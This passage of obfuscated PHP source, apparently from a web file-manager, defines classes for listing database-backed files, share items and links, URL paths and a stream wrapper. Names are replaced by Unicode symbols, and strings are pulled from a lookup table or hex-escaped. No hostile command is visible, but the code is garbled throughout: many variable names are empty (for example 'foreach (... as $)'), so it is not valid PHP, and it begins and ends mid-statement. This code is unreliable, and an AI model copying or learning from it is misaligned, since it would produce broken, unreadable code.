(isset($ꌊ[$јӥ[$ҭ[403]]])) { $јӥ[$ҭ[97]][$ҭ[486]] = array(); foreach ($ꌊ[$јӥ[$ҭ[403]]] as $) { $јӥ[$ҭ[97]][$ҭ[486]] = array($ҭ[487] => $[$ҭ[488]], $ҭ[489] => $[$ҭ[490]], $ҭ[491] => $[$ҭ[403]], $ҭ[492] => $[$ҭ[493]], $ҭ[494] => $[$ҭ[495]], $ҭ[496] => $[$ҭ[496]], $ҭ[497] => $[$ҭ[497]]); } } } unset($јӥ); return $¬֯; } protected function _listAppendChildren(&$ߡ, $ח) { $ϣ =& $_SERVER[Ǿ]; $䋌 = array(); $摾 = array($ϣ[212] => 0, $ϣ[213] => 0); foreach ($ߡ as &$ǔ) { if (!$ǔ[$ϣ[411]]) { continue; } $䋌[] = $ǔ[$ϣ[403]]; } unset($ǔ); if (!$䋌) { return; } $ = array($ϣ[498] => array($ϣ[17], $䋌)); $陲 = array($ϣ[498], $ϣ[411], $ϣ[499] => $ϣ[500]); $ƈ = $this->field($陲)->where($)->group($ϣ[501])->select(); $Ɯ = array(); foreach ($ƈ as $) { $ = $[$ϣ[498]]; $̉ = $[$ϣ[411]] == $ϣ[99] ? $ϣ[213] : $ϣ[212]; if (!isset($Ɯ[$])) { $Ɯ[$] = array($ϣ[212] => 0, $ϣ[213] => 0); } $Ɯ[$][$̉] += $[$ϣ[500]]; } foreach ($ߡ as &$ǔ) { if (!$ǔ[$ϣ[411]]) { continue; } $ɋ = is_array($Ɯ[$ǔ[$ϣ[403]]]) ? $Ɯ[$ǔ[$ϣ[403]]] : $摾; $ǔ[$ϣ[213]] = $ɋ[$ϣ[213]]; $ǔ[$ϣ[212]] = $ɋ[$ϣ[212]]; unset($ǔ[$ϣ[413]]); } unset($ǔ); } protected function _listAppendAuth(&$ؾ) { $ =& $_SERVER[Ǿ]; if (!defined($[474])) { return; } $ = array(); foreach ($ؾ as $̧) { if ($̧[$[412]] == self::TYPE_GROUP) { $[] = $̧[$[403]]; } } if (!$) { return; } $Ğ€ = array_to_keyvalue($ؾ, $[403]); $Ω = Model($[502])->getSourceList($, $Ğ€); foreach ($ؾ as $ => &$̧) { $̧[$[414]] = $Ω[$̧[$[403]]]; if (!$̧[$[414]] && $̧[$[412]] == self::TYPE_GROUP) { $̧[$[414]] = Action($[503])->pathGroupAuthMake($̧[$[504]]); if (!$̧[$[414]] && !_get($GLOBALS, $[505])) { $̧[$[205]] = !1; $̧[$[204]] = !1; } } if ($̧[$[414]]) { $̧[$[205]] = AuthModel::authCheckEdit($̧[$[414]][$[415]]); $̧[$[204]] = AuthModel::authCheckView($̧[$[414]][$[415]]); } $this->groupPathDisplay($̧); } unset($̧); } public function _listAppendAuthSecret(&$к) { $ڶ =& $_SERVER[Ǿ]; if (Model($ڶ[433])->get($ڶ[506]) != $ڶ[99]) { return; } static $؈ = false; if (!$؈) { $ = Model($ڶ[507]); $߹ = Model($ڶ[508]); $؈ = $߹->listData(); $؈ = array_to_keyvalue($؈, $ڶ[403]); $ = json_decode(Model($ڶ[433])->get($ڶ[509]), !0); $ = array_to_keyvalue($, $ڶ[401]); foreach ($؈ as $ => $̭) { $ޞ = $[$̭[$ڶ[510]]]; if (!$ޞ) { $߹->remove($̭[$ڶ[401]]); unset($؈[$]); continue; } $ݒ = $->listData($ޞ[$ڶ[414]]); if (!$ݒ) { $߹->remove($̭[$ڶ[401]]); unset($؈[$]); continue; } $̭[$ڶ[414]] = $ݒ; $̭[$ڶ[511]] = $ޞ; $̭[$ڶ[512]] = Model($ڶ[513])->getInfoSimpleOuter($̭[$ڶ[452]]); $؈[$] = $̭; } } $ɒ̦ = defined($ڶ[514]) ? USER_ID : $ڶ[22]; $ = array(); $蚈 = $this->_listAppendPath($, !0); foreach ($к as $ => &$̭) { if (!is_array($̭[$ڶ[414]])) { continue; } if ($̭[$ڶ[412]] != $ڶ[515]) { continue; } if (isset($؈[$̭[$ڶ[403]]])) { $ = $؈[$̭[$ڶ[403]]]; if (!is_array($̭[$ڶ[465]])) { $̭[$ڶ[465]] = array(); } $̭[$ڶ[465]][$ڶ[516]] = $[$ڶ[510]]; $̭[$ڶ[414]][$ڶ[517]] = $; $̭[$ڶ[414]][$ڶ[518]] = $̭[$ڶ[519]]; $̭[$ڶ[414]][$ڶ[520]] = $ڶ[99]; if ($[$ڶ[452]] != $ɒ̦) { $̭[$ڶ[414]][$ڶ[415]] = $̭[$ڶ[414]][$ڶ[415]] & $[$ڶ[414]][$ڶ[414]]; } continue; } $ͯ = $this->parentLevelArray($̭[$ڶ[521]]); $ʟ = array_reverse($ͯ); foreach ($ʟ as $ => $ܾ) { if (!isset($؈[$ܾ])) { continue; } $ = $؈[$ܾ]; $̭[$ڶ[414]][$ڶ[517]] = $; if ($[$ڶ[452]] != $ɒ̦) { $̭[$ڶ[414]][$ڶ[415]] = $̭[$ڶ[414]][$ڶ[415]] & $[$ڶ[414]][$ڶ[414]]; } $ = $ڶ[22]; $ؘ = count($ͯ) - $; for ($Ύ߄ = 0; $Ύ߄ < $ؘ; $Ύ߄++) { if (!isset($蚈[$ͯ[$Ύ߄]])) { $ = $ڶ[22]; break; } $ = $ . rtrim($蚈[$ͯ[$Ύ߄]], $ڶ[18]) . $ڶ[18]; } $̭[$ڶ[414]][$ڶ[518]] = rtrim($, $ڶ[18]) . $ڶ[18]; break; } } unset($̭); } public function groupPathDisplay(&$־) { $ =& $_SERVER[Ǿ]; if ($־[$[412]] != self::TYPE_GROUP) { return; } $襋 = Model($[522])->getInfo($־[$[504]]); $φ㶫 = $this->parentLevelArray($襋[$[521]]); $荥 = $[22]; foreach ($φ㶫 as $ß) { $К = Model($[522])->getInfo($ß); $荥 .= $К[$[97]][$[403]] . $[60]; } $־[$[523]] = $襋[$[498]]; $־[$[524]] = $襋[$[521]]; $־[$[525]] = $襋[$[526]]; $־[$[527]] = $荥 . $襋[$[97]][$[403]]; } protected function _listAppendPath(&$뤇, $ޒԚ = false) { $ =& $_SERVER[Ǿ]; static $ = array(); $ = array(); $ߔ = array(); if ($ޒԚ) { return $; } foreach ($뤇 as &$) { $· = $[$[403]]; if ($[$[411]] == $[99] && $[$[498]] != 0) { $[$·] = $[$[42]]; } if ($[$[411]] == $[99] && $[$[498]] == 0 && !isset($[$·])) { $[$·] = $this->_listAppendPathRoot($, array()); } if (isset($ߔ[$[$[521]]])) { continue; } $ߔ[$[$[521]]] = !0; $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $ђ) { if (isset($[$ђ])) { continue; } if ($ == 0) { $[$ђ] = $this->_listAppendPathRoot($, $); } if ($ != 0) { $[] = $ђ; } } } unset($); $ = array_unique($); if (count($) > 0) { $ = array($[418] => array($[419], $)); if (count($) == 1) { $޺ = $this->sourceInfo($[0]); $߈ = is_array($޺) ? array($޺) : !1; } else { $߈ = $this->field($[528])->where($)->select(); } if (!$߈) { $߈ = array(); } foreach ($߈ as $ȳ) { $[$ȳ[$[403]]] = $ȳ[$[42]]; } } $ = KodIO::sourceID(IO_PATH_SYSTEM_RECYCLE); $י⦻ = array(); foreach ($뤇 as &$) { $ = $[$[521]]; $ = $[22]; if (isset($י⦻[$])) { $ = $י⦻[$]; } else { $ = $this->parentLevelArray($[$[521]]); foreach ($ as $ => $ђ) { if (isset($[$ђ])) { $ .= $[$ђ] . $[18]; } } $י⦻[$] = $; } $ .= $[$[42]]; if ($[$[411]] == $[99]) { $ .= $[18]; } $[$[519]] = str_replace($[529], $[18], $); if ($[$[498]] == $[200]) { $[$[42]] = trim($[$[$[403]]], $[18]); $[$[519]] = $[$[42]] . $[18]; } if (intval($[$[412]]) == self::TYPE_SYSTEM) { $this->_listAppendPathRecycle($, $, $); } } unset($); return $뤇; } private function _listAppendPathRecycle(&$ݓ, $, $՜) { $ࣼ =& $_SERVER[Ǿ]; if (!in_array($՜, $) && $ݓ[$ࣼ[403]] != $՜) { return; } $Я = explode($ࣼ[18], trim($ݓ[$ࣼ[519]], $ࣼ[18])); $׻ = implode($ࣼ[18], array_slice($Я, 2)); $ݓ[$ࣼ[519]] = $ࣼ[18] . LNG($ࣼ[530]) . $ࣼ[18] . ltrim($׻, $ࣼ[18]); $ݓ[$ࣼ[521]] = $ࣼ[531] . implode($ࣼ[60], array_slice($, 1)) . $ࣼ[60]; if ($ݓ[$ࣼ[403]] == $՜) { $ݓ[$ࣼ[521]] = $ࣼ[531]; $ݓ[$ࣼ[498]] = $ࣼ[200]; $ݓ[$ࣼ[42]] = LNG($ࣼ[530]); } $ݓ[$ࣼ[532]] = $ࣼ[533]; } protected function _listAppendPathRoot(&$ާ, $) { $ij =& $_SERVER[Ǿ]; $ = $ij[22]; if ($ާ[$ij[412]] == self::TYPE_USER) { if (defined($ij[474]) && $ާ[$ij[504]] == USER_ID) { $ = LNG($ij[534]); if (!$) { $ާ[$ij[42]] = $; } } else { $ = Model($ij[513])->getInfoSimple($ާ[$ij[504]]); $ = LNG($ij[535]) . $ij[169] . $[$ij[42]] . $ij[536]; } } else { if ($ާ[$ij[412]] == self::TYPE_GROUP) { $ = Model($ij[522])->getInfoSimple($ާ[$ij[504]]); $ = $[$ij[42]]; } else { if ($ާ[$ij[412]] == self::TYPE_SYSTEM) { $ = $ij[537]; } } } $ = $ ? $ij[18] . $ . $ij[18] : $ij[18]; return $; } protected function _listAppendUser(&$) { $ =& $_SERVER[Ǿ]; $ = array_to_keyvalue($, $[22], $[452]); $ė = array_to_keyvalue($, $[22], $[454]); $߅ = array_merge($, $ė); $ʸ = Model($[538])->userListInfo($߅); foreach ($ as &$) { $ÅŻ = $[$[452]]; $[$[452]] = $ʸ[$ÅŻ] ? $ʸ[$ÅŻ] : !1; $ÅŻ = $[$[454]]; $[$[454]] = $ʸ[$ÅŻ] ? $ʸ[$ÅŻ] : !1; if (isset($[$[465]]) && $[$[465]][$[539]]) { $ = $GLOBALS[$[16]][$[100]][$[540]]; if ($[$[465]][$[541]] <= time() - $) { $this->metaSet($[$[403]], $[539], null); $this->metaSet($[$[403]], $[541], null); unset($[$[465]][$[539]]); continue; } $캦 = $[$[465]][$[539]]; $[$[465]][$[542]] = Model($[538])->getInfoSimpleOuter($캦); } } unset($); } public function parentLevelArray($) { $ӳ =& $_SERVER[Ǿ]; $ = explode($ӳ[60], trim($, $ӳ[60])); return array_remove_value($, $ӳ[200]); } public function listAll($˦) { $ӵ =& $_SERVER[Ǿ]; $Ĭ = $this->sourceInfo($˦); $ = array($ӵ[543] => array($ӵ[544], $Ĭ[$ӵ[521]] . $˦ . $ӵ[545]), $ӵ[546] => 0); $َ = $ӵ[547]; $ג = "\114\x45\x46\x54\40\x4a\x4f\111\x4e\40{$this->tablePrefix}\x69\x6f\x5f\146\151\x6c\x65\x20\146\151\x6c\145\40\x6f\156\40\163\x6f\x75\x72\x63\145\x2e\146\151\x6c\145\111\104\x20\75\x20\146\x69\x6c\145\56\146\x69\154\x65\111\x44"; $ = $this->alias($ӵ[444])->field($َ)->where($)->join($ג)->select(); $this->_listAppendAuth($); $this->_listAppendUser($); $this->_listAppendPath($); $ = array_to_keyvalue($, $ӵ[403]); $ؼ = "\x2f{$Ĭ[$ӵ[42]]}\57"; $ؼ = $ؼ == $ӵ[529] ? $ӵ[18] : $ؼ; $ڶΚ = array(); foreach ($ as $܇ => $) { $ҟ = $this->parentLevelArray($[$ӵ[521]]); array_shift($ҟ); $ = $ؼ; for ($ܥ̩ = 0; $ܥ̩ < count($ҟ); $ܥ̩++) { $ .= $[$ҟ[$ܥ̩]][$ӵ[42]] . $ӵ[18]; } $ .= $[$ӵ[42]]; if ($[$ӵ[411]]) { $ .= $ӵ[18]; } $ = str_replace($ӵ[529], $ӵ[18], $); $ = str_replace($ӵ[529], $ӵ[18], $); $ = array($ӵ[422] => str_replace($ӵ[529], $ӵ[18], $), $ӵ[548] => intval($[$ӵ[411]]), $ӵ[97] => $this->pathInfoFilter($)); if (!$[$ӵ[411]]) { $[$ӵ[467]] = $[$ӵ[467]]; $[$ӵ[98]] = $[$ӵ[88]]; } $ڶΚ[] = $; } return $ڶΚ; } } goto aݾ; Cꗐ: class PathDriverDB extends PathDriverBase { public $model; public $pathParse; public function __construct($Ã) { $this->pathParse = $Ã; $this->model = Model($_SERVER[Ǿ][1310]); } public function getPath($) { return trim($, $_SERVER[Ǿ][18]); } public function pathFather($) { $ = $this->parse($); $ = $this->infoSimple($); return $ ? $[$_SERVER[Ǿ][498]] : !1; } public function pathThis($) { $­ = $this->infoSimple($); return $­ ? $­[$_SERVER[Ǿ][42]] : !1; } public function getPathOuter($) { if (!$) { return $; } $ = $this->parse($); return KodIO::make($[$_SERVER[Ǿ][401]]); } public function copyFolderFromIO($و, $, $ź, $, $) { $ = $this->model->copyFolderFromIO($و, $, $ź, $, $); return KodIO::make($); } public function isParentOf($¡, $) { return $this->model->isParentOf($¡, $); } public function mkfile($ڳ, $ = '', $ͷ = REPEAT_RENAME) { $ =& $_SERVER[Ǿ]; $ىީ = $this->parse($ڳ); $ڳ = $ىީ[$[401]]; for ($Ə = 0; $Ə < count($ىީ[$[1311]]); $Ə++) { $ˉ = $ىީ[$[1311]][$Ə]; if ($Ə == count($ىީ[$[1311]]) - 1) { $ڳ = $this->model->mkfile($ڳ, $ˉ, $, $ͷ); break; } $ڳ = $this->model->mkdir($ڳ, $ˉ, REPEAT_SKIP); } return $this->getPathOuter($ڳ); } public function mkdir($³, $ = REPEAT_SKIP) { $ =& $_SERVER[Ǿ]; $͝ = $this->parse($³); $³ = $͝[$[401]]; for ($ = 0; $ < count($͝[$[1311]]); $++) { $ = $͝[$[1311]][$]; $³ = $this->model->mkdir($³, $, $); } return $this->getPathOuter($³); } public function copyFile($֢۲, $͸͋, $ = REPEAT_REPLACE) { $ =& $_SERVER[Ǿ]; $ݴ = $this->parse($͸͋); $˼ = $this->model->copy($֢۲, $ݴ[$[401]], $, $ݴ[$[88]]); return $˼ ? $this->getPathOuter($˼) : !1; } public function moveFile($ɠ, $ͅ, $ = REPEAT_REPLACE) { $ί =& $_SERVER[Ǿ]; $ơ = $this->parse($ͅ); $ݝ = $this->model->move($ɠ, $ơ[$ί[401]], $, $ơ[$ί[88]]); return $ݝ ? $this->getPathOuter($ݝ) : !1; } public function copy($ۧ, $Ʈ, $邝 = REPEAT_REPLACE, $ǁ = false) { $ = $this->parse($Ʈ); $ю۠ = $this->model->copy($ۧ, $[$_SERVER[Ǿ][401]], $邝, $ǁ); return $ю۠ ? $this->getPathOuter($ю۠) : !1; } public function moveSameAllow() { } public function move($ͻ, $զ, $ = REPEAT_REPLACE, $̝ئ = false) { $ = $this->parse($զ); $ = $this->model->move($ͻ, $[$_SERVER[Ǿ][401]], $, $̝ئ); return $ ? $this->getPathOuter($) : !1; } public function remove($, $ڵ = true) { return $this->model->remove($, $ڵ); } public function rename($, $ɯɅ) { $莅 = $this->model->rename($, $ɯɅ); return $莅 ? $this->getPathOuter($) : $莅; } public function size($ِ) { $ʵ = $this->infoSimple($ِ); return $ʵ ? $ʵ[$_SERVER[Ǿ][90]] : 0; } public function infoSimple($إ) { return $this->model->sourceInfo($إ); } public function info($Ќȶ) { return $this->infoParse($Ќȶ); } public function infoAuth($Ɏ) { return $this->infoParse($Ɏ, !1, !0); } public function infoWithChildren($޹) { return $this->infoParse($޹, !0); } protected function infoParse($Ѵ, $ո = false, $ = false) { if (!$ո) { return $this->model->pathInfo($Ѵ, $); } return $this->model->pathInfoMore($Ѵ); } public function infoFull($ϰ) { $˦ =& $_SERVER[Ǿ]; $ק = explode($˦[18], $ϰ); $ԾҌ = implode($˦[18], array_splice($ק, 1)); return $this->model->pathInfoByPath($ק[0], $ԾҌ); } public function hashSimple($ս) { $˚ =& $_SERVER[Ǿ]; $󋾸 = $this->infoWithChildren($ս); return $󋾸[$˚[173]][$˚[180]]; } public function hashMd5($ۂ) { $à =& $_SERVER[Ǿ]; $ڹ = $this->infoWithChildren($ۂ); return $ڹ[$Ã[173]][$Ã[179]]; } public function exist($î) { $҄눻 =& $_SERVER[Ǿ]; $ = $this->parse($î); if (!$[$҄눻[88]]) { return $this->isFile($î) || $this->isFolder($î); } $񔹥 = array($҄눻[402] => $[$҄눻[401]], $҄눻[42] => $[$҄눻[88]]); $і = $this->model->where($񔹥)->find(); return $і ? !0 : !1; } public function isFile($) { $ιߥ =& $_SERVER[Ǿ]; $ޝ = $this->infoSimple($); return $ޝ && $ޝ[$ιߥ[411]] == $ιߥ[99] ? !1 : !0; } public function isFolder($Л) { $˾ =& $_SERVER[Ǿ]; $˼ = $this->infoSimple($Л); return $˼ && $˼[$˾[411]] == $˾[99] ? !0 : !1; } public function listPath($܋, $Բ = false) { $ܒ =& $_SERVER[Ǿ]; if ($܋ == $ܒ[22]) { return !1; } $򾷒 = array($ܒ[402] => $܋); if ($Բ) { return $this->model->listSource($򾷒, -1); } return $this->model->listSource($򾷒); } public function has($Ǭ, $܊ = false, $Ϥ = null) { $۟ =& $_SERVER[Ǿ]; $ח = $this->infoWithChildren($Ǭ); if ($܊) { return array($۟[213] => $ח[$۟[213]], $۟[212] => $ח[$۟[212]]); } return $Ϥ ? $ח[$۟[213]] : $ח[$۟[212]]; } public function listAll($ʧ) { $ = IO::info($this->pathParse[$_SERVER[Ǿ][88]]); if (!$) { return array(); } return $this->model->listAll($ʧ); } public function getContent($) { return $this->model->getContent($); } public function setContent($ɬ, $ = '') { return $this->model->setContent($ɬ, $); } public function fileSubstr($Ӌ, $Ʋ, $) { return $this->model->fileSubstr($Ӌ, $Ʋ, $); } public function download($, $ = '') { $̮ = get_path_father($); $ = get_path_this($); $︕ƌ = $this->model->fileInfoGet($); $Ξ = IO::copy($︕ƌ[$_SERVER[Ǿ][88]], $̮, !1, $); return $Ξ; } public function setModifyTime($؎, $ = '') { $ =& $_SERVER[Ǿ]; if (!$؎) { return; } $this->model->where(array($[418] => $؎))->save(array($[96] => $)); } public function upload($, $É, $ڇ = false, $Å = REPEAT_REPLACE) { $ӻ =& $_SERVER[Ǿ]; $ = $this->parse($); $Ǔ = $this->model->addFile($[$ӻ[401]], $É, $[$ӻ[88]], $ڇ, $Å); return $this->getPathOuter($Ǔ); } public function uploadFileByID($؀, $ޏ, $↥) { $ң =& $_SERVER[Ǿ]; $ɪ = $this->parse($؀); $ķ = $this->model->addFileByFileID($ɪ[$ң[401]], $ޏ, $ɪ[$ң[88]], $↥); return $this->getPathOuter($ķ); } public function addFileByRemote($̀, $ʺ, $ʻ = array(), $쿿 = '', $ҮՄ) { $ =& $_SERVER[Ǿ]; $ = $this->parse($̀); $쿿 = empty($쿿) ? $[$[88]] : $쿿; $Щ = $this->model->addFileByRemote($[$[401]], $ʺ, $쿿, $ʻ, $ҮՄ); return $this->getPathOuter($Щ); } public function uploadLink($̭, $ؿ = 0) { $ =& $_SERVER[Ǿ]; $Ū = $this->parse($̭); $ = _get($GLOBALS[$[17]], $[1312]); $窚 = _get($GLOBALS[$[17]], $[1313]); $̭ = Model($[603])->createFileName($Ū[$[88]], $, $窚); return IO::uploadLink($̭, $ؿ); } public function fileNameAuto($ڼş, $, $Ȟ = REPEAT_REPLACE, $ˉ = false) { return $this->model->fileNameAuto($ڼş, $, $Ȟ, $ˉ); } public function fileNameExist($تѓ, $Α) { return $this->model->fileNameExist($تѓ, $Α); } protected function _fileOut($, $ = false, $ԋ = false, $﷧ = '', $ = false) { $ =& $_SERVER[Ǿ]; $ʃ = $this->model->sourceInfo($); if ($ʃ[$[411]] == $[99]) { header($[1314]); die; } $ = $this->model->fileInfoGet($); $﷧ = $[$[179]] ? $[$[179]] : $﷧; $ = isset($GLOBALS[$[1315]]) ? $GLOBALS[$[1315]] : $ʃ[$[42]]; if ($) { return IO::fileOutServer($[$[88]], $, $, $﷧); } IO::fileOut($[$[88]], $, $, $﷧); } public function fileOut($, $ĺ = false, $Þ = false, $뛞 = '') { $this->_fileOut($, $ĺ, $Þ, $뛞); } public function fileOutServer($, $ѣ = false, $׬Õ = false, $ = '') { $this->_fileOut($, $ѣ, $׬Õ, $, !0); } protected function _fileOutImage($, $ܾέ = 250) { $ =& $_SERVER[Ǿ]; $ = $this->model->pathInfo($); if ($[$[411]] == $[99]) { show_json($[1316] . $, !1); } $ = $this->model->fileInfoGet($); $[$[42]] = $[$[42]]; $[$[172]] = $[$[172]]; $GLOBALS[$[1315]] = $[$[42]]; $GLOBALS[$[171]] = $; IO::fileOutImage($[$[88]], $ܾέ); } public function fileOutImage($ѝ, $죱 = 250) { $this->_fileOutImage($ѝ, $죱); } public function fileOutImageServer($ð, $׊ǔ = 250) { $this->_fileOutImage($ð, $׊ǔ); } public function link($ˏ, $ = '') { $ړ = $this->model->fileInfoGet($ˏ); return IO::link($ړ[$_SERVER[Ǿ][88]], $); } protected function parse($) { $ =& $_SERVER[Ǿ]; if (strstr($, $[18]) === !1) { return array($[420] => intval($), $[88] => $[22], $[1311] => array()); } $탚 = explode($[18], trim($, $[18])); if (count($탚) < 2) { show_tips(clear_html($) . $[1317]); } return array($[420] => intval($탚[0]), $[88] => $탚[1], $[1311] => array_slice($탚, 1)); } } class PathDriverDbShareItem extends PathDriverDB { public function __construct($ؑ) { $this->pathParse = $ؑ; $this->model = Model($_SERVER[Ǿ][1310]); } public function getPathOuter($맻) { $똳 =& $_SERVER[Ǿ]; if (!$맻) { return $맻; } $β = $this->parse($맻); return trim(KodIO::makeShare($this->pathParse[$똳[401]], $β[$똳[401]]), $똳[18]); } protected function infoParse($ל֏, $߶ = false, $ߤ = false) { $ =& $_SERVER[Ǿ]; $Е = $this->pathParse[$[401]]; $› = trim($this->pathParse[$[1152]], $[18]); return Action($[1318])->sharePathInfo($Е, $›, $߶); } public function infoFull($Ó) { $È =& $_SERVER[Ǿ]; $ì = explode($È[18], trim($Ó, $È[18])); if (count($ì) > 1) { $ɺ = implode($È[18], array_splice($ì, 1)); $» = $this->model->pathInfoByPath($ì[0], $ɺ); if (!$») { return !1; } $this->pathParse[$È[1152]] = $»[$È[403]]; } return $this->infoParse($Ó); } public function listAll($) { $օ =& $_SERVER[Ǿ]; $Ɏ = IO::info($this->pathParse[$օ[88]]); if (!$Ɏ) { return array(); } $Ѭ = $this->model->listAll($); $ʐݔ = Model($օ[595])->getInfo($Ɏ[$օ[488]]); $ϗ = Action($օ[1318]); foreach ($Ѭ as &$ӳ) { check_abort(); $ӳ[$օ[97]] = $ϗ->_shareItemeParse($ӳ[$օ[97]], $ʐݔ); } unset($ӳ); return $Ѭ; } } class PathDriverDbShareLink extends PathDriverDB { public function __construct($) { $this->pathParse = $; $this->model = Model($_SERVER[Ǿ][1310]); } protected function infoParse($, $ᚮ = false, $鵣 = false) { $ =& $_SERVER[Ǿ]; return Action($[1158])->sharePathInfo($this->pathParse[$[88]], !0, $ᚮ); } public function listPath($, $ = false) { $ =& $_SERVER[Ǿ]; $ = parent::listPath($, $); if (!$) { return $; } if (is_array($[$[1319]])) { $[$[1319]] = Action($[1158])->shareItemInfo($[$[1319]]); } foreach ($ as $Д => $Ӻ) { if (!in_array($Д, array($[86], $[87]))) { continue; } foreach ($Ӻ as $仸ĝ => $) { $[$Д][$仸ĝ] = Action($[1158])->shareItemInfo($); } } return $; } public function listAll($仺) { $ =& $_SERVER[Ǿ]; $ = IO::info($this->pathParse[$[88]]); if (!$) { return array(); } $ = $this->model->listAll($仺); foreach ($ as &$) { $[$[97]] = Action($[1158])->shareItemInfo($[$[97]]); } unset($); return $; } } goto eӓƚ; A؞: class PathDriverUrl extends PathDriverBase { static $_cacheHeader = array(); public function __construct($٧ = false) { } public function exist($) { $ɒ = $this->info($); return $ɒ[$_SERVER[Ǿ][204]]; } public function isFile($Lj) { $ = $this->info($Lj); return $[$_SERVER[Ǿ][204]]; } public function isFolder($ܻ) { return !1; } public function size($Ӓʄ) { $Ƕ = $this->info($Ӓʄ); return $Ƕ[$_SERVER[Ǿ][90]]; } public function info($à) { return $this->infoParse($à); } public function infoAuth($՞) { return $this->infoParse($՞); } public function infoWithChildren($ذ) { return $this->infoParse($ذ); } public function infoFull($嚽) { return $this->infoParse($嚽); } private function infoParse($) { $ä =& $_SERVER[Ǿ]; $ן = $this->header($); if (!$ן || !$ן[$ä[742]]) { return !1; } $ = _get($ן, $ä[341], 0); $ = array($ä[42] => $ן[$ä[42]], $ä[88] => $, $ä[43] => $ä[202], $ä[90] => intval($), $ä[177] => get_path_ext($ן[$ä[42]]), $ä[1361] => $ > 0 && $ן[$ä[1483]], $ä[1362] => !1); return $; } private function header($禆) { $Ӽҧ =& $_SERVER[Ǿ]; if (isset(self::$_cacheHeader[$禆])) { return self::$_cacheHeader[$禆]; } $֪ = isset($GLOBALS[$Ӽҧ[1484]]) ? $GLOBALS[$Ӽҧ[1484]] : !1; $GLOBALS[$Ӽҧ[1484]] = !0; self::$_cacheHeader[$禆] = url_header($禆); $GLOBALS[$Ӽҧ[1484]] = $֪; return self::$_cacheHeader[$禆]; } public function hashSimple($ď, $ = false) { $ɧ =& $_SERVER[Ǿ]; $ꭇ = $this->info($ď); if (!$ꭇ || !$ꭇ[$ɧ[204]]) { return !1; } $˪ = $ꭇ[$ɧ[90]]; $̸ = 200; $ = 50; if ($˪ <= $̸ * $) { return md5($this->fileSubstr($ď, 0, $˪)) . $˪; } $Ԑ = intval($˪ / $); $ = $ɧ[22]; $ƚ = timeFloat(); $ޫ = 15; for ($ߥ = 0; $ߥ < $; $ߥ++) { if (timeFloat() - $ƚ > $ޫ) { return !1; } $¢ = $this->fileSubstr($ď, $Ԑ * $ߥ, $̸); if (!$¢) { return !1; } $ .= $¢; } $ .= $this->fileSubstr($ď, $˪ - $̸, $̸); return md5($) . $˪; } public function getContent($) { return $this->fileSubstr($); } public function fileSubstr($, $ = 0, $н = -1) { $✎ =& $_SERVER[Ǿ]; $͠ = $this->info($); if (!$͠ || !$͠[$✎[204]] && $͠[$✎[90]] > 1024 * 1024 * 10) { return !1; } if ($н === -1) { $н = $͠[$✎[90]]; } if ($н == 0) { return $✎[22]; } $곙 = array($✎[1485] . $ . $✎[774] . ($ + $н - 1)); $烰 = url_request($, $✎[235], !1, $곙, !1, !1, 1); return $烰[$✎[1176]] ? $烰[$✎[1176]] : $✎[22]; } public function download($, $˄) { Downloader::start($, $˄); return $˄; } } class StreamWrapperIO { private $path; private $info; private $pose = 0; static $_fopenCache = array(); static $_chunkBuffer = array(); private $timeStart = 0; function stream_open($ٜނ, $ = '') { $this->info = $this->info($ٜނ); $this->timeStart = timeFloat(); $this->path = $this->info[$_SERVER[Ǿ][88]]; $this->pathOpen = $ٜނ; if (!$this->info) { return !1; } if (count(self::$_chunkBuffer) > 100) { self::$_chunkBuffer = null; self::$_chunkBuffer = array(); } if (!isset(self::$_chunkBuffer[$ٜނ])) { self::$_chunkBuffer[$ٜނ] = array(); } self::$_fopenCache[$this->pathOpen] = $this; return $this->info ? !0 : !1; } function stream_read($Ʒ) { $ŋ = $this->fileSubstr($this->pose, $Ʒ); $this->pose += strlen($ŋ); return $ŋ; } public function stream_tell() { return $this->pose; } public function stream_seek($Ü, $ؖ) { $欕 =& $_SERVER[Ǿ]; if ($ؖ == SEEK_SET) { $this->pose = $Ü; } else { if ($ؖ == SEEK_CUR) { $this->pose += $Ü; } else { if ($ؖ == SEEK_END) { $this->pose = $this->info[$欕[90]] + intval($Ü); } } } if ($Ü < 0) { $this->pose = $this->info[$欕[90]] + $Ü; } return !0; } public function stream_eof() { return $this->pose >= $this->info[$_SERVER[Ǿ][90]]; } public function stream_close() { unset(self::$_fopenCache[$this->pathOpen]); return !0; } public function url_stat($뉍, $ڰ) { $́ =& $_SERVER[Ǿ]; $Μ = $this->info($뉍); return array($́[1486] => 0, $́[1487] => 0, $́[26] => 32768 + 511, $́[1488] => 0, $́[1489] => 0, $́[1490] => 0, $́[1491] => 0, $́[90] => $Μ[$́[90]], $́[1492] => $Μ[$́[1360]], $́[1448] => $Μ[$́[96]], $́[1447] => $Μ[$́[203]], $́[1493] => 0, $́[1494] => 0); } static $fileInfo = array(); public function info($ɍ) { $ҡ = $_SERVER[Ǿ][1495]; if (isset(self::$fileInfo[$ɍ])) { return self::$fileInfo[$ɍ]; } if (substr($ɍ, 0, strlen($ҡ)) != $ҡ) { return !1; } self::$fileInfo[$ɍ] = IO::info(substr($ɍ, strlen($ҡ))); return self::$fileInfo[$ɍ]; } public static function read($鳰, $ȕ, $ߣ) { if (!isset(self::$_fopenCache[$鳰])) { $ = new StreamWrapperIO(); $->stream_open($鳰); self::$_fopenCache[$鳰] = $; } $ = self::$_fopenCache[$鳰]; return $->fileSubstr($ȕ, $ߣ); } public static function _read($, $, $䁌) { $͇ =& $_SERVER[Ǿ]; $俧 = fopen($, $͇[1364]); if (!$俧) { return $͇[22]; } $ = 8192; fseek($俧, $, SEEK_SET); $ = $͇[22]; $ϳڙ = 0; while ($ϳڙ < $䁌) { $㖺 = min($, $䁌 - $ϳڙ); $ .= fread($俧, $㖺); $ϳڙ += $㖺; } fclose($俧); return $; } public function fileSubstr($盯, $޴) { $˔ٌ =& $_SERVER[Ǿ]; $̩ = $this->info[$˔ٌ[90]]; $ = $盯; $ = $޴; if ($盯 < 0) { $盯 = $̩ + $盯; } if ($޴ === !1) { $޴ = $̩ - $盯; } if ($盯 + $޴ > $̩) { $޴ = $̩ - $盯; } if ($޴ <= 0) { return $˔ٌ[22]; } if ($盯 < 0 || $盯 >= $̩ || $޴ <= 0 || $޴ > 1024 * 1024 * 10) { throw new Exception("\x69\x6f\x46\x69\154\145\122\145\141\144\40\x65\162\162\157\162\41\x20\163\x74\141\162\x74\x3d{$盯}\73\x6c\x65\x6e\x67\164\150\x3d{$޴}\73\40\163\x69\172\x65\75{$̩}\x3b"); } $ư = 64 * 1024; $ 